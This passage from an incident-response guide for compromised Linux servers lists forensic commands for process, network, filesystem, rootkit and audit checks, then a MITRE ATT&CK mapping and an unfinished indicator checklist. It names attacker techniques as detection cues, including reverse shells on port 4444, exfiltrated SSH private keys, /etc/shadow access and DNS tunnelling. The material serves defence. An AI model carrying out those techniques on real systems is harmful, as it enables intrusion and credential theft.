&lt;span class="c"&gt;# ── SUID Binaries ─────────────────────────────────────────────────&lt;/span&gt;
find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-4000&lt;/span&gt; &lt;span class="nt"&gt;-type&lt;/span&gt; f &lt;span class="nt"&gt;-not&lt;/span&gt; &lt;span class="nt"&gt;-path&lt;/span&gt; &lt;span class="s2"&gt;"/proc/*"&lt;/span&gt; 2&amp;gt;/dev/null

&lt;span class="c"&gt;# ── Startup Scripts ───────────────────────────────────────────────&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /etc/rc.local /etc/rc&lt;span class="k"&gt;*&lt;/span&gt;.d/ /etc/init.d/

&lt;span class="c"&gt;# ── LD_PRELOAD Hijacking ──────────────────────────────────────────&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/ld.so.preload 2&amp;gt;/dev/null &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;env&lt;/span&gt; | &lt;span class="nb"&gt;grep &lt;/span&gt;LD_PRELOAD
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 6 — Scope Affected Systems
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check for other hosts this server connects to&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; ~/.ssh/known_hosts &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cat&lt;/span&gt; /etc/hosts &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; arp &lt;span class="nt"&gt;-n&lt;/span&gt;

&lt;span class="c"&gt;# Look for lateral SSH movement from this server&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Accepted&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;publickey&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;password"&lt;/span&gt; /var/log/auth.log | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"from"&lt;/span&gt;

&lt;span class="c"&gt;# AWS: Check CloudTrail for API calls made by this instance's IAM role&lt;/span&gt;
aws cloudtrail lookup-events &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--lookup-attributes&lt;/span&gt; &lt;span class="nv"&gt;AttributeKey&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;ResourceName,AttributeValue&lt;span class="o"&gt;=&lt;/span&gt;i-YOUR_INSTANCE_ID
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 7 — Timeline Reconstruction
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Combine auth.log, syslog, and web logs sorted by timestamp&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /var/log/auth.log /var/log/syslog /var/log/nginx/access.log | &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-k1&lt;/span&gt;,3 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/forensics/unified_timeline.txt

&lt;span class="c"&gt;# Find file modifications around the suspected breach time&lt;/span&gt;
find / &lt;span class="nt"&gt;-newermt&lt;/span&gt; &lt;span class="s2"&gt;"2024-01-15 02:00"&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nt"&gt;-newermt&lt;/span&gt; &lt;span class="s2"&gt;"2024-01-15 06:00"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-type&lt;/span&gt; f &lt;span class="nt"&gt;-not&lt;/span&gt; &lt;span class="nt"&gt;-path&lt;/span&gt; &lt;span class="s2"&gt;"/proc/*"&lt;/span&gt; 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  6. Useful Commands &amp;amp; Tools
&lt;/h2&gt;

&lt;h3&gt;
  
  
  6.1 Login and Session Investigation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# last — login history with source IP&lt;/span&gt;
last &lt;span class="nt"&gt;-n&lt;/span&gt; 50 &lt;span class="nt"&gt;-a&lt;/span&gt;   &lt;span class="c"&gt;# -a shows hostname/IP in last column&lt;/span&gt;

&lt;span class="c"&gt;# lastlog — most recent login per account (spot accounts that shouldn't login)&lt;/span&gt;
lastlog | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"Never logged in"&lt;/span&gt;

&lt;span class="c"&gt;# who — currently logged-in users&lt;/span&gt;
&lt;span class="nb"&gt;who&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt;

&lt;span class="c"&gt;# w — logged-in users + what command they are currently running&lt;/span&gt;
w
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.2 Process Investigation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Full process listing sorted by CPU (find cryptominers)&lt;/span&gt;
ps aux &lt;span class="nt"&gt;--sort&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;-%cpu | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;

&lt;span class="c"&gt;# Visual process tree — attackers' reverse shells appear as children of web processes&lt;/span&gt;
ps auxf
pstree &lt;span class="nt"&gt;-aup&lt;/span&gt;

&lt;span class="c"&gt;# lsof — open files and network connections per process&lt;/span&gt;
lsof &lt;span class="nt"&gt;-i&lt;/span&gt;           &lt;span class="c"&gt;# All network connections&lt;/span&gt;
lsof &lt;span class="nt"&gt;-i&lt;/span&gt; :4444     &lt;span class="c"&gt;# Who is using port 4444?&lt;/span&gt;
lsof &lt;span class="nt"&gt;-p&lt;/span&gt; &amp;lt;PID&amp;gt;     &lt;span class="c"&gt;# All files opened by a specific PID&lt;/span&gt;
lsof | &lt;span class="nb"&gt;grep &lt;/span&gt;deleted  &lt;span class="c"&gt;# Malware deleted from disk but still running in memory&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.3 Network Investigation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# ss — fast, modern netstat replacement&lt;/span&gt;
ss &lt;span class="nt"&gt;-tulpn&lt;/span&gt;          &lt;span class="c"&gt;# All listening sockets with process names&lt;/span&gt;
ss &lt;span class="nt"&gt;-tnp&lt;/span&gt;            &lt;span class="c"&gt;# All established TCP connections with process names&lt;/span&gt;

&lt;span class="c"&gt;# Find unexpected external connections&lt;/span&gt;
ss &lt;span class="nt"&gt;-tnp&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"127.0.0.1&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;::1&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;10&lt;/span&gt;&lt;span class="se"&gt;\.\|&lt;/span&gt;&lt;span class="s2"&gt;172&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;16&lt;/span&gt;&lt;span class="se"&gt;\.\|&lt;/span&gt;&lt;span class="s2"&gt;192&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;168&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.4 File System Forensics
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Files modified in the last N days&lt;/span&gt;
find / &lt;span class="nt"&gt;-mtime&lt;/span&gt; &lt;span class="nt"&gt;-1&lt;/span&gt; &lt;span class="nt"&gt;-type&lt;/span&gt; f &lt;span class="nt"&gt;-not&lt;/span&gt; &lt;span class="nt"&gt;-path&lt;/span&gt; &lt;span class="s2"&gt;"/proc/*"&lt;/span&gt; &lt;span class="nt"&gt;-not&lt;/span&gt; &lt;span class="nt"&gt;-path&lt;/span&gt; &lt;span class="s2"&gt;"/sys/*"&lt;/span&gt; 2&amp;gt;/dev/null

&lt;span class="c"&gt;# Files modified within a specific time window&lt;/span&gt;
find /var/www &lt;span class="nt"&gt;-newermt&lt;/span&gt; &lt;span class="s2"&gt;"2024-01-15 00:00"&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nt"&gt;-newermt&lt;/span&gt; &lt;span class="s2"&gt;"2024-01-16 00:00"&lt;/span&gt; &lt;span class="nt"&gt;-type&lt;/span&gt; f

&lt;span class="c"&gt;# World-writable files (common malware drop point)&lt;/span&gt;
find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt;+w &lt;span class="nt"&gt;-type&lt;/span&gt; f &lt;span class="nt"&gt;-not&lt;/span&gt; &lt;span class="nt"&gt;-path&lt;/span&gt; &lt;span class="s2"&gt;"/proc/*"&lt;/span&gt; 2&amp;gt;/dev/null

&lt;span class="c"&gt;# SUID/SGID binaries&lt;/span&gt;
find / &lt;span class="nt"&gt;-type&lt;/span&gt; f &lt;span class="se"&gt;\(&lt;/span&gt; &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-4000&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-2000&lt;/span&gt; &lt;span class="se"&gt;\)&lt;/span&gt; &lt;span class="nt"&gt;-not&lt;/span&gt; &lt;span class="nt"&gt;-path&lt;/span&gt; &lt;span class="s2"&gt;"/proc/*"&lt;/span&gt; 2&amp;gt;/dev/null

&lt;span class="c"&gt;# Hidden files and directories&lt;/span&gt;
find / &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;".*"&lt;/span&gt; &lt;span class="nt"&gt;-type&lt;/span&gt; f &lt;span class="nt"&gt;-not&lt;/span&gt; &lt;span class="nt"&gt;-path&lt;/span&gt; &lt;span class="s2"&gt;"/proc/*"&lt;/span&gt; &lt;span class="nt"&gt;-not&lt;/span&gt; &lt;span class="nt"&gt;-path&lt;/span&gt; &lt;span class="s2"&gt;"/home/*/.bash*"&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-30&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.5 Rootkit Detection
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# chkrootkit — scans system binaries and /proc for known rootkit signatures&lt;/span&gt;
apt &lt;span class="nb"&gt;install &lt;/span&gt;chkrootkit  &lt;span class="c"&gt;# OR yum install chkrootkit&lt;/span&gt;
chkrootkit &lt;span class="nt"&gt;-q&lt;/span&gt;           &lt;span class="c"&gt;# Only show positive findings&lt;/span&gt;

&lt;span class="c"&gt;# rkhunter — more comprehensive: checks binaries, backdoors, configs, network ports&lt;/span&gt;
apt &lt;span class="nb"&gt;install &lt;/span&gt;rkhunter
rkhunter &lt;span class="nt"&gt;--update&lt;/span&gt;       &lt;span class="c"&gt;# Update signatures first&lt;/span&gt;
rkhunter &lt;span class="nt"&gt;--check&lt;/span&gt; &lt;span class="nt"&gt;--rwo&lt;/span&gt;  &lt;span class="c"&gt;# Only show warnings&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.6 System Auditing with auditd
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Install and enable&lt;/span&gt;
apt &lt;span class="nb"&gt;install &lt;/span&gt;auditd &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; systemctl &lt;span class="nb"&gt;enable &lt;/span&gt;auditd &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; systemctl start auditd

&lt;span class="c"&gt;# Add critical watch rules&lt;/span&gt;
auditctl &lt;span class="nt"&gt;-w&lt;/span&gt; /etc/passwd &lt;span class="nt"&gt;-p&lt;/span&gt; wa &lt;span class="nt"&gt;-k&lt;/span&gt; passwd_change
auditctl &lt;span class="nt"&gt;-w&lt;/span&gt; /etc/sudoers &lt;span class="nt"&gt;-p&lt;/span&gt; wa &lt;span class="nt"&gt;-k&lt;/span&gt; sudoers_change
auditctl &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp &lt;span class="nt"&gt;-p&lt;/span&gt; x &lt;span class="nt"&gt;-k&lt;/span&gt; tmp_exec             &lt;span class="c"&gt;# Exec from /tmp (common malware staging)&lt;/span&gt;
auditctl &lt;span class="nt"&gt;-w&lt;/span&gt; /bin/bash &lt;span class="nt"&gt;-p&lt;/span&gt; x &lt;span class="nt"&gt;-k&lt;/span&gt; bash_exec

&lt;span class="c"&gt;# Search audit log&lt;/span&gt;
ausearch &lt;span class="nt"&gt;-k&lt;/span&gt; passwd_change          &lt;span class="c"&gt;# Events matching watch key&lt;/span&gt;
ausearch &lt;span class="nt"&gt;-m&lt;/span&gt; execve &lt;span class="nt"&gt;--start&lt;/span&gt; today   &lt;span class="c"&gt;# All exec calls today&lt;/span&gt;
ausearch &lt;span class="nt"&gt;-x&lt;/span&gt; /bin/bash &lt;span class="nt"&gt;--start&lt;/span&gt; yesterday

&lt;span class="c"&gt;# Human-readable reports&lt;/span&gt;
aureport &lt;span class="nt"&gt;--summary&lt;/span&gt;
aureport &lt;span class="nt"&gt;--login&lt;/span&gt; &lt;span class="nt"&gt;--failed&lt;/span&gt;
aureport &lt;span class="nt"&gt;--exec&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.7 fail2ban
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;systemctl status fail2ban

&lt;span class="c"&gt;# Check active bans&lt;/span&gt;
fail2ban-client status
fail2ban-client status sshd

&lt;span class="c"&gt;# Manually ban an attacking IP&lt;/span&gt;
fail2ban-client &lt;span class="nb"&gt;set &lt;/span&gt;sshd banip 203.0.113.42

&lt;span class="c"&gt;# View banned IPs&lt;/span&gt;
fail2ban-client banned
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  7. MITRE ATT&amp;amp;CK Technique Mapping
&lt;/h2&gt;

&lt;p&gt;The MITRE ATT&amp;amp;CK framework provides a standardised vocabulary for attacker behaviour. Use these mappings to align your detection rules, SIEM queries, and threat hunting to industry-standard technique IDs.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ATT&amp;amp;CK Tactic&lt;/th&gt;
&lt;th&gt;Technique ID&lt;/th&gt;
&lt;th&gt;Technique Name&lt;/th&gt;
&lt;th&gt;Indicator / Detection&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Initial Access&lt;/td&gt;
&lt;td&gt;T1190&lt;/td&gt;
&lt;td&gt;Exploit Public-Facing Application&lt;/td&gt;
&lt;td&gt;Web server 500 errors, unusual POST payloads&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Initial Access&lt;/td&gt;
&lt;td&gt;T1078&lt;/td&gt;
&lt;td&gt;Valid Accounts&lt;/td&gt;
&lt;td&gt;Successful logins from unexpected IPs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Initial Access&lt;/td&gt;
&lt;td&gt;T1110.001&lt;/td&gt;
&lt;td&gt;Brute Force: Password Guessing&lt;/td&gt;
&lt;td&gt;SSH failed login spikes in &lt;code&gt;auth.log&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Initial Access&lt;/td&gt;
&lt;td&gt;T1566.001&lt;/td&gt;
&lt;td&gt;Phishing: Spearphishing Attachment&lt;/td&gt;
&lt;td&gt;Email logs, browser forensics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Initial Access&lt;/td&gt;
&lt;td&gt;T1195&lt;/td&gt;
&lt;td&gt;Supply Chain Compromise&lt;/td&gt;
&lt;td&gt;Unexpected behaviour in dependency code&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Execution&lt;/td&gt;
&lt;td&gt;T1059.004&lt;/td&gt;
&lt;td&gt;Unix Shell&lt;/td&gt;
&lt;td&gt;Unexpected shell spawned from web process&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Execution&lt;/td&gt;
&lt;td&gt;T1059.001&lt;/td&gt;
&lt;td&gt;PowerShell&lt;/td&gt;
&lt;td&gt;PowerShell with &lt;code&gt;-EncodedCommand&lt;/code&gt; or download&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Persistence&lt;/td&gt;
&lt;td&gt;T1053.003&lt;/td&gt;
&lt;td&gt;Cron Job&lt;/td&gt;
&lt;td&gt;Unknown entries in &lt;code&gt;/etc/cron.d/&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Persistence&lt;/td&gt;
&lt;td&gt;T1098.004&lt;/td&gt;
&lt;td&gt;SSH Authorized Keys&lt;/td&gt;
&lt;td&gt;New keys in &lt;code&gt;~/.ssh/authorized_keys&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Persistence&lt;/td&gt;
&lt;td&gt;T1543.002&lt;/td&gt;
&lt;td&gt;Systemd Service&lt;/td&gt;
&lt;td&gt;Unknown &lt;code&gt;.service&lt;/code&gt; files in &lt;code&gt;/etc/systemd/&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Persistence&lt;/td&gt;
&lt;td&gt;T1136.001&lt;/td&gt;
&lt;td&gt;Create Local Account&lt;/td&gt;
&lt;td&gt;New entries in &lt;code&gt;/etc/passwd&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Privilege Escalation&lt;/td&gt;
&lt;td&gt;T1548.001&lt;/td&gt;
&lt;td&gt;Setuid/Setgid&lt;/td&gt;
&lt;td&gt;New SUID binaries not in baseline&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Privilege Escalation&lt;/td&gt;
&lt;td&gt;T1548.003&lt;/td&gt;
&lt;td&gt;Sudo Caching&lt;/td&gt;
&lt;td&gt;NOPASSWD entries in sudoers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defence Evasion&lt;/td&gt;
&lt;td&gt;T1562.001&lt;/td&gt;
&lt;td&gt;Disable or Modify Tools&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;auditd&lt;/code&gt; / &lt;code&gt;fail2ban&lt;/code&gt; stopped&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defence Evasion&lt;/td&gt;
&lt;td&gt;T1070.002&lt;/td&gt;
&lt;td&gt;Clear Linux/Mac System Logs&lt;/td&gt;
&lt;td&gt;Log files truncated; gaps in timestamps&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defence Evasion&lt;/td&gt;
&lt;td&gt;T1574.006&lt;/td&gt;
&lt;td&gt;LD_PRELOAD&lt;/td&gt;
&lt;td&gt;Unexpected &lt;code&gt;/etc/ld.so.preload&lt;/code&gt; entries&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Credential Access&lt;/td&gt;
&lt;td&gt;T1552.004&lt;/td&gt;
&lt;td&gt;Private Keys&lt;/td&gt;
&lt;td&gt;SSH private keys exfiltrated from &lt;code&gt;~/.ssh/&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Credential Access&lt;/td&gt;
&lt;td&gt;T1003&lt;/td&gt;
&lt;td&gt;OS Credential Dumping&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/etc/shadow&lt;/code&gt; accessed; &lt;code&gt;mimikatz&lt;/code&gt; on Windows&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Discovery&lt;/td&gt;
&lt;td&gt;T1082&lt;/td&gt;
&lt;td&gt;System Information Discovery&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;uname -a&lt;/code&gt;, &lt;code&gt;id&lt;/code&gt;, &lt;code&gt;hostname&lt;/code&gt; in bash history&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Discovery&lt;/td&gt;
&lt;td&gt;T1046&lt;/td&gt;
&lt;td&gt;Network Service Discovery&lt;/td&gt;
&lt;td&gt;Port scanning activity in firewall logs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lateral Movement&lt;/td&gt;
&lt;td&gt;T1021.004&lt;/td&gt;
&lt;td&gt;Remote Services: SSH&lt;/td&gt;
&lt;td&gt;SSH connections to other internal hosts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Collection&lt;/td&gt;
&lt;td&gt;T1005&lt;/td&gt;
&lt;td&gt;Data from Local System&lt;/td&gt;
&lt;td&gt;Unusual &lt;code&gt;find&lt;/code&gt; / &lt;code&gt;tar&lt;/code&gt; / &lt;code&gt;zip&lt;/code&gt; commands&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Exfiltration&lt;/td&gt;
&lt;td&gt;T1041&lt;/td&gt;
&lt;td&gt;Exfiltration Over C2 Channel&lt;/td&gt;
&lt;td&gt;Large outbound transfers on established C2 port&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Exfiltration&lt;/td&gt;
&lt;td&gt;T1048&lt;/td&gt;
&lt;td&gt;Exfiltration Over Alternative Protocol&lt;/td&gt;
&lt;td&gt;DNS tunnelling, ICMP data transfer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Command &amp;amp; Control&lt;/td&gt;
&lt;td&gt;T1071.004&lt;/td&gt;
&lt;td&gt;Application Layer Protocol: DNS&lt;/td&gt;
&lt;td&gt;High-entropy DNS queries; DNS tunnelling&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Command &amp;amp; Control&lt;/td&gt;
&lt;td&gt;T1071.001&lt;/td&gt;
&lt;td&gt;Web Protocols&lt;/td&gt;
&lt;td&gt;HTTPS C2 over port 443 to unknown IPs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Impact&lt;/td&gt;
&lt;td&gt;T1496&lt;/td&gt;
&lt;td&gt;Resource Hijacking&lt;/td&gt;
&lt;td&gt;Cryptominer processes; 90%+ CPU with no load&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Impact&lt;/td&gt;
&lt;td&gt;T1485&lt;/td&gt;
&lt;td&gt;Data Destruction&lt;/td&gt;
&lt;td&gt;Mass file deletion; &lt;code&gt;rm -rf&lt;/code&gt; in audit logs&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Practical use:&lt;/strong&gt; When you discover an indicator, look up its ATT&amp;amp;CK technique ID. Then check the ATT&amp;amp;CK page for "Mitigations" and "Detections" — the community has already written SIEM rules and EDR signatures for most techniques. Use &lt;a href="https://mitre-attack.github.io/attack-navigator/" rel="noopener noreferrer"&gt;MITRE ATT&amp;amp;CK Navigator&lt;/a&gt; to visualise your detection coverage.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  8. Indicators of Compromise (IoC) Checklist
&lt;/h2&gt;

&lt;p&gt;Use this checklist during an active investigation. Check each item and record your findings.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Indicator&lt;/th&gt;
&lt;th&gt;Where to Check&lt;/th&gt;
&lt;th&gt;MITRE ID&lt;/th&gt;
&lt;th&gt;Status&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;New or unrecognised user accounts&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/etc/passwd&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;T1136&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Users added to sudo / wheel group&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/etc/sudoers&lt;/code&gt;, &lt;code&gt;getent group sudo&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;T1548&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Unrecognised SSH authorized_keys&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;~/.ssh/authorized_keys&lt;/code&gt; (all users)&lt;/td&gt;
&lt;td&gt;T1098.004&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Unexpected successful SSH logins&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/var/log/auth.log&lt;/code&gt; or &lt;code&gt;secure&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;T1078&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Logins from unexpected IPs or geos&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;last -a&lt;/code&gt;, CloudTrail / audit logs&lt;/td&gt;
&lt;td&gt;T1078&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Unknown or high-CPU processes&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ps aux --sort=-%cpu&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;T1496&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;Processes on unexpected ports&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ss -tulpn&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;T1571&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;Unexpected outbound connections&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;ss -tnp&lt;/code&gt;, VPC Flow Logs&lt;/td&gt;
&lt;td&gt;T1041&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;Unknown or modified cron jobs&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;crontab -l&lt;/code&gt;, &lt;code&gt;/etc/cron.d/&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;T1053.003&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;Unknown systemd services&lt;/td&gt;
&lt;td&gt;&lt;code&gt;systemctl list-units --type=service&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;T1543.002&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;Modified system binaries&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;rkhunter --check&lt;/code&gt;, &lt;code&gt;debsums&lt;/code&gt;, &lt;code&gt;rpm -Va&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;T1601&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12&lt;/td&gt;
